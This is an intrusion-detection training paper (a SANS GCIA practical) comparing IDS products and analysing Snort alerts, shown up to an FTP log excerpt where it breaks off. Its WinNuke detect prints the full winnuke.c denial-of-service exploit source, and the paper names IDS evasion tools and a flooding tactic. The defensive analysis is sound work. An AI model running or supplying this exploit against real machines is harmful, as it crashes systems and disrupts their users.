Intrusion Detection in Depth
GCIA (Version 3.0) Practical Assignment
By: Karim Merabet (January 2002)

Table of Contents
Assignment 1 - Describe the State of Intrusion Detection 2
    General observation 2
    Pros and Cons of Technologies 3
    Personal observations 3
    Small Lab test 6
    Result Analysis 10
    References 11

Assignment 2 – Network Detects 11
    Snort Alert Legend 11
    Detect #1 DOS WINNUKE 12
    Detect #2 SMTP chameleon overflow 17
    Detect #3 Weird FTP commands 20
    Detect #4 ICMP Redirect network 25
    Detect #5 WEB-MISC compaq nsight directory traversal 28

Assignment 3 - "Analyze This" Scenario 32
    Overview of analysis 32
    List of log files 32
    Top Attackers for Alerts (184932 alerts) 33
    Top Attackers for Scans (444097 total packets) 33
    Top Attackers for OOS (160 total packets) 34
    Alert analysis 34
    Scan analysis 46
    OOS Analysis 50
    General Analysis 57
    Defensive recommendations 58
    Analysis method 58

Assignment 1 - Describe the State of Intrusion Detection

Not all Intrusion Detection Systems are created equal.
The goal of this paper is to demonstrate that no single Intrusion Detection architecture is "better" than the other and help the readers make an informed choice on which IDS technology is more suited to their needs. I will attempt to show the strengths and weaknesses of Protocol analysis and Signature bases analysis (or misuse detection) in current Intrusion Detection Systems (often referred as Behavior based Intrusion Detection and Knowledge based Intrusion detection respectively). The opinions expressed in this paper are my own.

Please refer to the SANS Intrusion detection FAQ for a definition of the two main ID techniques.

http://www.sans.org/newlook/resources/IDFAQ/knowledge_based.htm
http://www.sans.org/newlook/resources/IDFAQ/behavior_based.htm

We will more specifically use NFR's Network Flight Recorder NIDS and Cisco's IDS (formerly Netranger) as examples of Intrusion Detection Systems who mainly use a Signature based approach to ID and NetworkICE's BlackIce Sentry for an IDS who mainly relies on Protocol analysis.

General Observations

Intrusion Detection Systems keep evolving and are becoming better and better every day. Unfortunately, the level of complexity and the lengths to which attackers go through to compromise systems is rising too. An IDS system is only one of the tools that should be used to help deal with the growing threat of unauthorized use or malicious abuse and attacks on systems. Obviously, no IDS system is perfect and whatever the vendors might say, no single IDS and technology can catch all attacks, all the time. There are many way's to circumvent detection by an IDS. Tools like SideStep (http://www.robertgraham.com/tmp/sidestep.html) and Fragrouter (http://www.securityfocus.com/cgi-bin/tools.pl?cat=82) are 2 examples. The method used by the IDS to detect actual attacks becomes very important, not only to lower the risk of people bypassing its analysis but also to lower false positives and raise the range of attacks it can detect. If an attacker knows the specific IDS being used on the network, he can exploit its detection weaknesses. It is important that administrators know what to look for and understand the behavior of their systems.

Knowledge based ID and Behavior based ID are the two main methods used by new IDS systems to detect potential intrusions. Each have their positive and negative attributes and understanding both technologies will help you make a better decision on which IDS to use. More than 1 type of NIDS (combined with other security systems like host based intrusion detection systems and Firewalls) should be deployed to minimize risk, especially on very large networks and for extremely critical systems. But this is not always an option for most small to medium size companies as it raises the amount of information to be analyzed and managed. In those cases, the choice of security tools used becomes critical. The underlying technology, the room to grow and the manageability of
the IDS become very important but you must always remember that a single security device will not solve all your problems.

**Pros and Cons of Technologies**

This is a small list of pros and cons for the two main Intrusion Detection technologies.

**Knowledge based ID:**

- May require a lot of resources to manage all the signatures.
- Range of attacks detected is dependant on quality and quantity of signatures.
- When load is high, it can be easy to drop packets. When there is a lot of activity, there are a lot of signatures to test.
- Signature update time is generally very fast. You don’t have to wait for updates for most products or you can code your own signatures and tweak false positives (in various degree's).

**Behavior based ID:**

- "Normal" traffic can trigger false alerts.
- Hard to keep up to date and if a new attack is used it might not be caught.
- Sometimes it is hard to know exactly what happened. A lot of alerts can be triggered by a single event.
- May require a lot of time to fine tune and lower false-positives.
- If the IDS is tuned properly, it can potentially detect unknown attacks by analyzing normal traffic patterns. It can then warn admins when something is out of the ordinary.

**Personal observations**

This is my own personal observation on our three test systems. They are based on my own experience in managing these systems. They all have their own unique strengths and weaknesses and they generally reflect the underlying architecture they where built with.

**Knowledge based ID:**

**NFR-NIDS**


NFR uses signature-based analysis of packets going by its sensor. A packet processor that loads backends (signatures) written in N-code analyzes every packet. Every time a packet goes by, it analyses its content for all the backends that are currently loaded. There is
some form of protocol analysis in NFR but it is mainly signature based and, as such, highly dependent on the range of signatures for the range of attacks it can detect. When new attacks are discovered, new backends are release very rapidly, often on the same day. Once you have a little experience with N-code, it is very easy to write your own backends. NFR is currently releasing new groups of backends that deal with specific services (like WWW and DNS) and they are trying to add behavior based ID to their products.

NFR:
- Sensors require dedicated machines.
- Central server can manage all the sensors, but can also be deployed as a standalone.
- Installation is easy for the sensor but for the central, basic Unix knowledge is required
- Very open Architecture (source code available for most functions/backends)
- GUI is fairly nice and works on any windows machine
- It is better to have dedicated and knowledgeable staff to maintain the IDS.
- Reports are fairly well done and there are custom Perl scripts to generate more of them.
- Alert detection is fairly up to date (there is a package updater to install new signatures) and there is always the possibility to write your own backends

Basically a good IDS with fairly low false-positives mainly due to its Knowledge based ID technology. Once the central is properly tuned (especially for the web based backends) there is little to do .The fact that most of the code can be seen, makes it a very configurable IDS and allows for custom signatures. Generally, when an alert pops up, it means something is really going on. The fact that NFR is rapidly adding Behavior based ID to their IDS can only enhance its capabilities and make it a more complete solution.

Cisco IDS (formerly Netranger)

Cisco IDS is a hardware network appliance and as such is quite costly compared to the other solutions. Most other vendors offer software based versions of their IDS's but Cisco IDS is Hardware only. Cisco IDS relies on its signatures for most of it's alerting. There is also the limited capability to add your own signatures based on connection details/information, string pattern matching or Access Control Lists.

Cisco IDS
- Installation is fairly easy, but it is recommended to have some Unix (Solaris) experience.
- Hardware IDS and fairly expensive.
- Updates for signatures are not real-time, usually once a month.
- Lacking in correlation and reporting and it would be recommended to use products like NetForensics to complement the management software.
- No real access to source code of signatures and no possibility to change or edit current signatures.
- Management can be done with Director (Solaris+HPOpenview) or Cisco Secure Policy Manager (windows NT4). Depending on the management interface you choose, it can get complicated to administrate.
- Director management interface is fairly clunky (hard to search alerts, get all the alerts in the last hour)
- Policy manager is fairly complicated for basic IDS needs but can be customized easily.
- Alert coverage is good.
- Message descriptions can be very bad! Often you will only get a numbered alert and no real message. Ex: Alert 4005 detected from 10.0.0.1 to 10.0.0.2. This could potentially be a configuration issue on my end.

Fairly low false positives due to its heavy reliance on Knowledge based ID. The reporting of alerts is getting better with Cisco Secure Policy Manager and the coverage and range of alerts detected can be expanded with the custom signatures you can create (although you can't write very complicated signatures like with NFR-NIDS N-code). You can automate the alert response for a detected attack (Block, TCP reset or log to file). You can also "shun" or block attackers and manage a Cisco router's ACL or simply cut a TCP connection. This is a very handy feature, especially if your using Cisco routers on your network. Obviously, if you choose to automate the alert response, you might trigger a response on a false positive and thus shun a server unjustly. This needs to be watched closely.

**Behavior based ID:**

**BlackICE Sentry with Icecap Manager:**

**URL:**

http://www.networkice.com/products/icecap_manager.html

NetworkICE BlackIce Sentry with ICEcap

- Very easy to deploy on a large scale (with ICEcap).
- ICEcap simplifies management of large quantities of users/nodes.
- IDS alert coverage is very good.
- Log capability is pretty good, but can become unmanageable very rapidly.
- Report generation and searches are well implemented.
- The users cannot write alerts, and you have to rely on NetworkICE patches/uploads.

BlackIce sentry is at the forefront of new IDs technologies. It's Behavior based ID allows for greater range of alerts detection and greater flexibility. Unfortunately, it can generate a lot of false positives. They can be filtered out by ICEcap quite easily. NetworkICE was recently acquired by ISS, so the potential for improvement is very good.
You will notice that each IDS has its strengths and weaknesses. The underlying techniques used by each system are very important in deciding which is best for you. Knowledge based IDS are usually more easily expandable and you can write your own signatures for most of them (Snort, NFR, Shadow, etc…). Behavior based IDS can, by default, detect a wider range of attacks but are still limited by the analysis engine used. If an actual malicious attack "looks normal", it might go unnoticed.

**Small Lab test**

I decided to run a small test on the various NIDS to demonstrate the effect of a reconnaissance scan on each technology. I used Nessus ([http://www.nessus.org](http://www.nessus.org)) security scanner, and scanned a simple Windows NT 4.0 machine. You will note that most vulnerability scanners will only check the version of the service to see if they are exploitable (like bind and sendmail). Most of the time, they will not attempt to exploit the vulnerability directly (for better tools in alert benchmarking you might consider Anzen's Nidsbench and you can also read Marcus J. Ranum's white paper on IDS benchmarking). Nessus, on the other hand, says that 95% of its scan's will actually attempt the exploit (like mail relay attempts and buffer overflows) but this is not the goal of this test. This test should not be used to judge the range of alerts detected by each system. It will give us an indication of how this specific reconnaissance scan is dealt with by each IDS and how it is interpreted by the underlying Knowledge based and Behavior based alert detection architectures.

Attacker: 192.168.240.104
Target: 192.168.254.1:

**NIDS USED:**

- Netranger 2.5.1(S3) with Director
- BlackIce Sentry, running on a default installation of Windows NT4.0.
- Cisco IDS-4210 with Director.

**FULL NESSUS SCAN (NO DOS) RESULTS WITH NMAP.**

I tested the IDS's with a full Nessus scan ([http://cgi.nessus.org/plugins/dump.php3](http://cgi.nessus.org/plugins/dump.php3) for list of plugins). Current Nessus contains a total of 804 scans. I did not use any Denial Of Service attacks.

Here are the results out of 555 exploit attempts.

1) Netranger 2.5.1(S3) with Director

**Events Detected**

| TCP Syn Port Sweep |
Windows Registry access
TCP Packet No FLAGS
TCP Packet SYN & FIN Only
3046
TCP Packet Fin Only
6054
6505
6503
4502
TCP port Sweep
Tftp passwd 2
Real Portmap Request
3159

What the numbers correspond to:

3046 (Nmap OS fingerprinting)
6054 (DNS Version Request)
6505 (Trinoo Client Request)
6503 (Stacheldrath Client Request)
4502 (Snmp Community String Brute Force Attempt)
3159 (FTP PASS suspicious Length)

14 different events detected

2) Network ICE BlackICE Sentry (2.5ep) with ICECAP (2.6eq).

<table>
<thead>
<tr>
<th>TCP Port Scan</th>
<th>HTTP URL SCAN</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTTP URL Contains ../../../</td>
<td>HTTP GET data contains ../../../</td>
</tr>
<tr>
<td>TFTP passwd file</td>
<td>tftp port probe</td>
</tr>
<tr>
<td>coldfusion sample URL</td>
<td></td>
</tr>
<tr>
<td>IIS sample URL</td>
<td></td>
</tr>
<tr>
<td>bat URL type</td>
<td></td>
</tr>
<tr>
<td>HTTP url with ::$DATA appended</td>
<td>HTTP asp with . appended</td>
</tr>
<tr>
<td>cart32 changeAdminPassword</td>
<td>URL</td>
</tr>
<tr>
<td>Squid Cachemgr.cgi</td>
<td>CGI campas</td>
</tr>
<tr>
<td>PC anywhere Ping</td>
<td></td>
</tr>
<tr>
<td>Back Orifice Ping</td>
<td></td>
</tr>
<tr>
<td>---------------------------</td>
<td></td>
</tr>
<tr>
<td>DNS UDP port probe</td>
<td></td>
</tr>
<tr>
<td>UDP portscan</td>
<td></td>
</tr>
<tr>
<td>Chargen Port probe</td>
<td></td>
</tr>
<tr>
<td>UDP trojan horse probe</td>
<td></td>
</tr>
<tr>
<td>UDP echo port probe</td>
<td></td>
</tr>
<tr>
<td>ICMP subnet mask request</td>
<td></td>
</tr>
<tr>
<td>MSTREAM handler activity</td>
<td></td>
</tr>
<tr>
<td>Frontpage extension backdoor</td>
<td></td>
</tr>
<tr>
<td>CRC</td>
<td></td>
</tr>
<tr>
<td>TCP OS fingerprinting</td>
<td></td>
</tr>
<tr>
<td>QOTD port Probe</td>
<td></td>
</tr>
<tr>
<td>CGI bombscript</td>
<td></td>
</tr>
<tr>
<td>HTTPP UTF8 backtick</td>
<td></td>
</tr>
<tr>
<td>CGI info2www</td>
<td></td>
</tr>
<tr>
<td>Index Server null.htw exploit</td>
<td></td>
</tr>
<tr>
<td>HTTP URL contains ../</td>
<td></td>
</tr>
<tr>
<td>HTTP get passwd file</td>
<td></td>
</tr>
<tr>
<td>CGI newdsn.exe</td>
<td></td>
</tr>
<tr>
<td>CGI nph-test-cgi</td>
<td></td>
</tr>
<tr>
<td>CGI phf</td>
<td></td>
</tr>
<tr>
<td>CGI perl.exe</td>
<td></td>
</tr>
<tr>
<td>CGI perl</td>
<td></td>
</tr>
<tr>
<td>CGI pfdisplay.cgi</td>
<td></td>
</tr>
<tr>
<td>HTTP.cgi starting with php</td>
<td></td>
</tr>
<tr>
<td>HTTP URL contains %00</td>
<td></td>
</tr>
<tr>
<td>sojoun.cgi argument contains %00</td>
<td></td>
</tr>
<tr>
<td>HTTP GET data with repeated char</td>
<td></td>
</tr>
<tr>
<td>CGI test-cgi</td>
<td></td>
</tr>
<tr>
<td>CGI uploader.exe</td>
<td></td>
</tr>
<tr>
<td>CGI webgais</td>
<td></td>
</tr>
<tr>
<td>RPC getport probe</td>
<td></td>
</tr>
<tr>
<td>CGI websendmail</td>
<td></td>
</tr>
<tr>
<td>webservice admin url</td>
<td></td>
</tr>
<tr>
<td>passwd.txt URL</td>
<td></td>
</tr>
<tr>
<td>SnmpCrack</td>
<td></td>
</tr>
<tr>
<td>Snmp port probe</td>
<td></td>
</tr>
<tr>
<td>HTTP Cross site scripting</td>
<td></td>
</tr>
<tr>
<td>Snmp backdoor</td>
<td></td>
</tr>
<tr>
<td>Trinoo master activity</td>
<td></td>
</tr>
<tr>
<td>HTTP URL contains ../</td>
<td></td>
</tr>
<tr>
<td>DNS BIND request</td>
<td></td>
</tr>
<tr>
<td>SMB unencrypted password</td>
<td></td>
</tr>
<tr>
<td>SMB login failed</td>
<td></td>
</tr>
<tr>
<td>TCP SYN flood</td>
<td></td>
</tr>
</tbody>
</table>
59 different Events detected.

3) NFR (5.0.1) with all the latest backends.

Severity: Attack
Host: spy1
Source: portscan
Alert Message: Portscan from 192.168.240.104 to 192.168.254.1: at least 54 unique ports within 60 seconds

Severity: Attack
Host: spy1
Source: TFTP_ATTACK

Severity: Attack
Host: spy1
Source: icmp_netmask

Severity: Attack
Time: 13:03:26 20-Dec-2001
Host: spy1
Source: icmp_timestamp

Severity: Attack
Time: 13:00:37 20-Dec-2001
Host: spy1
Source: SNMP_MONITOR

Severity: Attack
Time: 13:00:13 20-Dec-2001
Host: spy1
Source: portscan
Alert Message: Portscan from 192.168.240.104 to 192.168.254.1: at least 1026 unique ports within 60 seconds
Severity: Attack
Time: 12:59:34 20-Dec-2001
Host: spy1
Source: DNS_MONITOR

6 different events detected.

Result analysis

You will notice that the Knowledge based IDS generated alerts for only a small fraction of the vulnerability tests. On the other hand, BlackIce Sentry generated a lot of activity for a single Nessus scan. This could, potentially be used to flood a BlackIce Sentry (or another Behavior based IDS) using multiple Nessus Scan's (or by using Stick http://www.eurocompton.net/stick/papers8.html) running on different machines and thus "cloaking" the real hack attempts. By the time that the administrators get to the hacker's real attack, it might be too late.

On the other hand, on a very busy network, the alert generated by NFR NIDS and Cisco IDS could go unnoticed (14 or 6 alerts out of a total of 555 exploit probes is not indicative of the importance of the attack). If somebody is using a Security Scanner to probe one of my machines, the IDS should give out a BIG alert warning like with the Behavior based systems. Either way, the underlying alert architecture plays a big role on how this or any other attacks are dealt with by the IDS. The ways that an alert is detected sometimes help but might also hinder the administrator’s work.

I would like to reiterate that you must always weigh the good and the bad in whatever IDS you choose to deploy on your network (Whether its NFR, Snort, BlackIce Sentry or any other) and try to understand the underlying techniques used by these products so as to better prepare yourself once it is deployed. Once you understand the architecture and techniques used by your IDS to detect alerts, you can make a better decision. If you require precise detection with minimal false alerts but don't mind learning the intricacies of the language used by the alert gathering architecture, you will be better served with a Knowledge based IDS. On the other hand, if you prefer to have wide coverage and don't mind having to deal with potentially a lot of false positives, then a Behavior based IDS is more appropriate. Obviously, solutions that use a little bit of both are preferable in most cases. It is a balance that IDS designers have to keep in mind until a better way is developed. In general, understanding the underlying techniques used by any security tool is very important and it is even more important in the case of an Intrusion Detection System.

References

Assignment 2 - Network Detects

Snort Alert Legend

[**]Name of attack [**]
[Classification][Priority]
Timestamp SourceIP:SourcePort -> DestinationIP:DestinationPort
Type(TCP,UDP,ICMP,etc) TTL:TimeToLive TOS:TypeOfService ID:IP ID IpLen:
IpLength DgmLen: Datagram Length
DF (Request that this particular packet not be fragmented).
TCP Flags that are set (* = not set) Seq: Tcp Sequence number Ack: Acknowledge bit
Win: TCP receive Window TcpLen: Tcp Header length UrgPtr: Urgent Pointer

<References>
<Packet content in Hex format> <Packet content in Ascii format>

Detect #1 DOS WINNUKE

0. Alert Message

[**] DOS Winnuke atck [**]
[Classification: Attempted Denial of Service] [Priority: 6]
11/30 19:45:642279 64.228.31.108:1053 -> XXX.XXX.XXX.XXX:139
TCP TTL:124 TOS:0x0 ID:39687 IpLen:20 DgmLen:50 DF
**UAP*** Seq: 0x9D21E8 Ack: 0x931A0F Win:0x2180 TcpLen: 20 UrgPtr: 0xA
1. Source of Trace.

This trace comes from a client (Small ISP) of my Employer.

2. Detect was generated by:

Snort intrusion detection system Version 1.8.1 running on OpenBSD 2.9

The rule is:

```
```

Explanation: Check for a TCP packet going to port 139 with the Urgent bit flag set.

3. Probability the source address was spoofed:

In general, their needs to be an active connection set before the OOB packet is sent, so most of the time there is a three-way handshake. Also the odds of the packet being spoofed are small considering the tool used (VAI-TE JÁ ICMP TOOLKIT).

4. Description of attack:

There was an attempt to send a packet with the Urgent bit set in the TCP header to port 139 (NetBios) of the victim. On old/unpatched version of Win95/NT this can cause a hard crash or "Blue Screen of Death" and force the user to reboot. From the string message sent, it is apparent that the attacker used the VAI-TE JÁ ICMP TOOLKIT or Mirc Script. Found here: [http://cris.virtualave.net/nukerww.htm](http://cris.virtualave.net/nukerww.htm).

Here is the Whois for the attacker:

Bell Nexxia (NETBLK-BELLCANADA-5) BELLCANADA-5 64.228.0.0 - 64.231.255.255
HSE (NETBLK-HSE20002-CA) HSE20002-CA 64.228.0.0 - 64.228.31.255

This looks like a DSL user with Bell High Speed Edition. Here you can find more information on this attack: [http://www.securityfocus.com/bid/2010](http://www.securityfocus.com/bid/2010)
5. Attack mechanism:

Older versions of WinNT 4.0, 3.51, Win95, WFWG 3.11 and SCO Open Server have problems handling Out of Band data (for example a ctrl-c in a telnet session will go through as OOB and the Urgent flag will be set). Windows and SCO Open Server assume that the Urgent pointer's value is correct and that it points to the right place. When there is no normal data following, Windows goes "bonkers". A simple reboot will solve the problem.

Here's the link to the Bugtraq discussion:
http://www.securityfocus.com/cgi-bin/vulns-item.pl?section=discussion&id=2010

Now let's look at the source code:

/* It is possible to remotely cause denial of service to any windows 95/NT user. It is done by sending OOB [Out Of Band] data to an established connection you have with a windows user. NetBIOS [139] seems to be the most effective since this is a part of windows. Apparently windows doesn't know how to handle OOB, so it panics and crazy things happen. I have heard reports of everything from windows dropping carrier to the entire screen turning white. Windows also sometimes has trouble handling anything on a network at all after an attack like this. A reboot fixes whatever damage this causes. Code follows.*/

/* winnuke.c - (05/07/97) By _eci */
/* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#define dport 139 /* Attack port: 139 is what we want */

int x, s;
char *str = "Bye"; /* Makes no diff*/
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;

int open_sock(int sock, char *server, int port)
{
    struct sockaddr_in blah;
    struct hostent *he;
bzero((char *)&blah,sizeof(blah));
blah.sin_family=AF_INET;
blah.sin_addr.s_addr=inet_addr(server);
blah.sin_port=htons(port);
if ((he = gethostbyname(server)) != NULL) {
    bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length);
} else {
    if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
        perror("gethostbyname()");
        return(-3);
    }
}
if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
    perror("connect()");
    close(sock);
    return(-4);
}
printf("Connected to [%s:%d].\n",server,port);
return;
}
void main(int argc, char *argv[])
{
    if (argc != 2) {
        printf("Usage: %s <target>\n",argv[0]);
        exit(0);
    }
    if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
        perror("socket()");
        exit(-1);
    }
    open_sock(s,argv[1],dport);
    printf("Sending crash... ");
    send(s,str,strlen(str),MSG_OOB);
    usleep(100000);
    printf("Done!\n");
    close(s);
}
The source code is pretty straightforward. The program creates a socket and passes the socket int descriptor, hostname and destination port to the open_sock function. The open_sock function then makes the necessary type transformation it needs to initialize the connection, and then checks if the hostname specified is resolvable and makes the connection. It then returns to the main function. The only thing left to do is to send the message with the MSG_OOB (out of band) flag set. The actual message sent is not important only the fact that it is OOB and that an actual connection is possible. You might also note that most TCP implementations map the URG flag to out of band data so that is why the Snort rule is checking for the URG flag.

6. Correlations:

This type of attack was fairly common a few years ago. But it has become severely outdated since then (patches and corrections where released) and the amount of people still using old windows machines is diminishing everyday. It is now most frequently used on IRC and is included in many "war scripts" by default, although the chances of this attack succeeding are slim at best; it is still used to this day.

7. Evidence of active targeting:

They're where no previous reconnaissance attacks (Nmap, ping sweeps) from the same range of IP's indicating that this was not part of a large-scale sweep. This is most likely a specific attempt due to the use of the VAI-TE JÁ ICMP TOOLKIT script in question. The Attacker most likely targeted a specific individual (probably on IRC) and "attempted" to temporarily disable his target. There is also the possibility that this is a trojaned machine and someone else is launching attacks from it (DSL and cable modems are notorious for being left unprotected and are often used for DDOS and other mischief).

8. Severity:

Severity = (Criticality + Lethality) - (System Countermeasures + Network Countermeasures)
(2 + 2) - (2 + 1) = 1

Criticality: Machine is most likely a home pc with a new version of windows (2)
Lethality: attack is a temporary DoS and very old (2)
System Countermeasures: A Firewall might be present, but it's uncertain (2)
Network Countermeasures: No network Countermeasures and traffic is allowed to target (1)

9. Defensive recommendation:

10. Multiple choice test question:

Why was port 139 chosen?

a) The NetBios protocol itself contains a bug handling OOB packets
b) NetBios is an old protocol and is easily exploited
c) Because all the other ports where unavailable
d) NetBios(139) is often left open and is tightly associated with Windows.

Answer: D) Any port/service listening could potentially be used to crash the system. NetBios seems like an obvious choice considering that it is often left open and unattended.

**Detect #2 SMTP chameleon overflow**

0. Alert Message

[**] SMTP chameleon overflow [**]
[Classification: Attempted Administrator Privilege Gain] [Priority: 10]
11/29-17:26:34.305509 159.134.237.20:20505 -> XXX.XXX.XXX.XXX:25
TCP TTL:44 TOS:0x0 ID:736 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0xBD5A7ABB Ack: 0xA423BE51 Win: 0x7D78 TcpLen: 20
[Xref => http://www.securityfocus.com/bid/2387]
[Xref => http://www.whitehats.com/info/IDS266]
[Xref => http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0261]

11/29-17:26:34.305509 159.134.237.20:20505 -> XXX.XXX.XXX.XXX:25
TCP TTL:44 TOS:0x0 ID:736 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0xBD5A7ABB Ack: 0xA423BE51 Win: 0x7D78 TcpLen: 20
68 65 6C 70 20 79 6F 75 20 64 6F 75 62 6C 65 20 help you double
79 6F 75 72 20 6D 6F 6E 67 2C 20 79 6F 75 20 61 63 68 69 65 your money on y=
0D 0A 6F 75 72 0D 0A 20 20 20 20 20 20 61 69 6C 69 ..our.. maili
6E 67 2C 20 69 66 20 79 6F 75 72 20 6D 6F 6E 67 2C 20 79 6F 75 72 3D your money on y
1. Source of Trace.

This trace comes from a client (Small ISP) of my Employer.

2. Detect was generated by:

Snort intrusion detection system Version 1.8.1 running on OpenBSD 2.9

The rule is:

alert tcp $EXTERNAL_NET any -> $SMTP 25 (msg:"SMTP chameleon overflow"; content: "HELP "; nocase; flags: A+; dsize: >500; depth: 5; reference:arachnids,266; reference:cve,CAN-1999-0261;)

Explanation: Check for a tcp packets going to port 25 (SMTP) that contain the word "HELP " (uppercase or lowercase within the first 5 chars of the packet) and that are bigger than 500 characters.

3. Probability the source address was spoofed:

The attacker or spammer in this case comes from an ISP in Ireland.

Trying whois -h whois.arin.net 159.134.237.20

Telecom Eireann (NET-TELE-IRELAND)
  Telecom Internet
  Merrion Hse, Merrion Rd 4
  Dublin 4
  IE

  Netname: TELE-IRELAND
  Netblock: 159.134.0.0 - 159.134.255.255

Coordinator:
  Burke, Garrett (GB682-ARIN) garrett.burke@eircom.net
  +353-1-7010909

Domain System inverse mapping provided by:
Often in the case of Spam or unsolicited email, the source address can be forged or simply be a cracked account.

4. Description of attack:

There "seems" to be an attempt to overflow the SMTPd from Netmanage Chameleon. There is an Overflow condition if the SMTPd receives a command of the type 'HELP <topic>' where the topic is over 514 chars.

See:
http://www.securityfocus.com/bid/2387
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0261

5. Attack mechanism:

This seems to be a false positive. When looking at the packet content, we can figure out that this is only a "SPAM" type email I’m sure everyone is familiar with. There doesn't seem to be any inherent danger from this "attack". The alert was triggered because the word "help " followed by a <blank> was found in the first 5 characters. This can obviously happen often, especially in emails. Even if the Snort IDS detected this as a buffer overflow, this does not automatically mean that this is what happened. Looking at the content of the packet that generated the alert will often clear things up and is a good practice to follow.

6. Correlations:

This is alert is often triggered by Snort due to the fact that the characters "help " are scanned. Email starting with that word can be quite common. This alert is more often seen in old Snort machines (the old rule scanned the first 10 chars for the characters "help "). This alert should be removed if the mail server is not running the Chameleon SMTPd.

7. Evidence of active targeting:

The email was probably mass mailed to a whole range of addresses and there is no real indication that this Spam was targeted.

8. Severity:
Severity = (Criticality + Lethality) - (System Countermeasures + Network Countermeasures) 
(4 + 1) - (5 + 5) = -5

Criticality: Machine is a Mailserver (4)

Lethality: This turns out to be an annoyance and not really an attack (1)

System Countermeasures: This machine is heavily monitored and is always kept up to date, all mail is scanned for viruses and the definitions are kept up to date (5)

Network Countermeasures: Firewalls are monitored regularly (5)

9. **Defensive recommendation:**

If the Mail server does not use the Netmanage Chameleon SMTP daemon, this rule should be removed. Considering that the rule scans for the first 5 chars and email starting with "help " can be common, the alert can be triggered quite often. If you are using the Netmanage Chameleon SMTPd, you should be updating your daemon to the latest version.

10. **Multiple choice test question:**

Why was the alert triggered?

a) There was an attempt to overflow the SMTPd.
b) The packet content begins with the characters "help " and is bigger than 500 characters.
c) The packet content contains the characters "help " and is bigger than 500 characters.
d) The packet content begins with the characters "help" and is bigger than 500 characters.

Answer: B) Those 2 conditions are necessary for the alert to go off (first 5 characters must equal "help " and the total content must be bigger than 500 characters.

**Detect #3 Weird FTP commands**

0. **Alert Message**

```text
inetnum:      80.13.82.0 - 80.13.82.255
netname:      IP2000-ADSL-BAS
descr:        BSTOU104 Toulouse Bloc1
country:      FR
Dec  7 23:00:16 hostsa ftpd[20566]: refused connect from AOrleans-201-1-3-70.abo.wanadoo.fr
Dec  7 23:00:16 hostz ftpd[22467]: refused connect from AOrleans-201-1-3-70.abo.wanadoo.fr
Dec  7 23:01:09 hostca in.ftpd[28908]: refused connect from AOrleans-201-1-3-70.abo.wanadoo.fr
Dec  7 23:01:09 hostca in.ftpd[28908]: refused connect from AOrleans-201-1-3-70.abo.wanadoo.fr
```

© SANS Institute 2000 - 2002
As part of GIAC practical repository.
Author retains full rights.
Dec  7 23:01:09 hostca in.ftpd[28909]: refused connect from AOorleans-201-1-3-70.abo.wanadoo.fr
Dec  7 23:01:09 hostca in.ftpd[28910]: refused connect from AOorleans-201-1-3-70.abo.wanadoo.fr
Dec  7 23:01:12 hostca in.ftpd[28911]: refused connect from AOorleans-201-1-3-70.abo.wanadoo.fr
Dec  7 23:00:16 host prolfpd[18815] host (AOorleans-201-1-3-70.abo.wanadoo.fr)[80.13.82.70]): FTP session opened.
Dec  7 23:00:17 host prolfpd[18815] host (AOorleans-201-1-3-70.abo.wanadoo.fr)[80.13.82.70]): ANON anonymous: Login successful.
Dec  7 23:00:17 host prolfpd[18815] host (AOorleans-201-1-3-70.abo.wanadoo.fr)[80.13.82.70]): FTP session closed.
Dec 08 03:41:53 host prolfpd[21112] host (AOorleans-201-1-3-70.abo.wanadoo.fr)[80.13.82.70]): FTP session opened.
Dec 08 03:41:57 host prolfpd[21112] host (AOorleans-201-1-3-70.abo.wanadoo.fr)[80.13.82.70]): ANON anonymous: Login successful.
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [07/Dec/2001:23:00:17 -0500] "PASS anonymous" 230 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:41:57 -0500] "CWD /pub" 250 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:41:57 -0500] "PASS Nppuser@home.com" 230 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:41:58 -0500] "CWD /incoming" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:02 -0500] "CWD /incoming" 250 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:03 -0500] "CWD /" 250 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:03 -0500] "CWD /_vti_log" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:03 -0500] "MKD 011208094157p" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:04 -0500] "CWD /_vti_pwt" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:04 -0500] "CWD /_vti_txt" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:04 -0500] "CWD /upload" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:05 -0500] "CWD /_vti_log" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:05 -0500] "CWD /anonymous" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:05 -0500] "CWD /wwwroot" 550 -
AOorleans-201-1-3-70.abo.wanadoo.fr UNKNOWN ftp [08/Dec/2001:03:42:06 -0500] "CWD /outgoing" 550 -
